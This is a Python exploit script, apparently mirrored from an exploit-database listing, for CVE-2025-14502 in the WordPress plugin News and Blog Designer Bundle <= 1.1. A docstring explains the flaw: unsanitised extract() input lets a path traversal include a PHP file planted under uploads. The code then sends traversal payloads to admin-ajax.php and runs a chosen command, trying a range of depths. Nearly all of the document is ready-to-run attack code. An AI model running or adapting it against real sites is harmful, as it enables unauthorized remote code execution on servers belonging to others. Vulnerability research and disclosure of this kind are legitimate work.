Share
## https://sploitus.com/exploit?id=PACKETSTORM:226435
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin News and Blog Designer Bundle <= 1.1 - Unauthenticated Local File Inclusion to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/news-and-blog-designer-bundle/
# Software Link: https://downloads.wordpress.org/plugin/news-and-blog-designer-bundle.zip
# Version: 1.1 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-14502
r"""
News and Blog Designer Bundle <= 1.1 registers the nopriv AJAX action nbdb_fetch_more_post
(includes/class-nbdb-ajax.php:16). The handler runs extract($_POST['shrt_param'])
(class-nbdb-ajax.php:31) โ creating a $template variable straight from attacker input โ then builds a
path and includes it (class-nbdb-ajax.php:33/93):
sanitize_text_field(extract($_POST['shrt_param'])); // $template = shrt_param[template]
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
if (file_exists($template_file_path)) ... include($template_file);
$template is not sanitised, so shrt_param[template]=../../../../uploads/<file> traverses to
wp-content/uploads and includes an attacker-planted PHP -> RCE.
Prior state: plugin active + a planted .php under wp-content/uploads.
"""
import argparse, sys
import requests
requests.packages.urllib3.disable_warnings()
TOK = "NBPWN"
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--planted", default="uploads/nbpwn")
ap.add_argument("--cmd", default="id")
ap.add_argument("--max-depth", type=int, default=7)
args = ap.parse_args()
base = args.target.rstrip("/")
for depth in range(2, args.max_depth + 1):
tmpl = "../" * depth + args.planted
d = {"action": "nbdb_fetch_more_post", "shrt_param[template]": tmpl, "shrt_param[foo]": "bar"}
r = requests.post(base + "/wp-admin/admin-ajax.php", params={"c": args.cmd}, data=d,
verify=False, timeout=20)
if TOK in r.text:
out = r.text.split(TOK + ":")[1].split("<")[0].strip()
print(f"[*] Target: {base} | depth {depth}")
print(f"\n[+] LFI -> RCE CONFIRMED โ planted PHP executed:\n{out}")
return 0
print("[-] not confirmed (adjust --planted / --max-depth)"); return 1
if __name__ == "__main__":
sys.exit(main())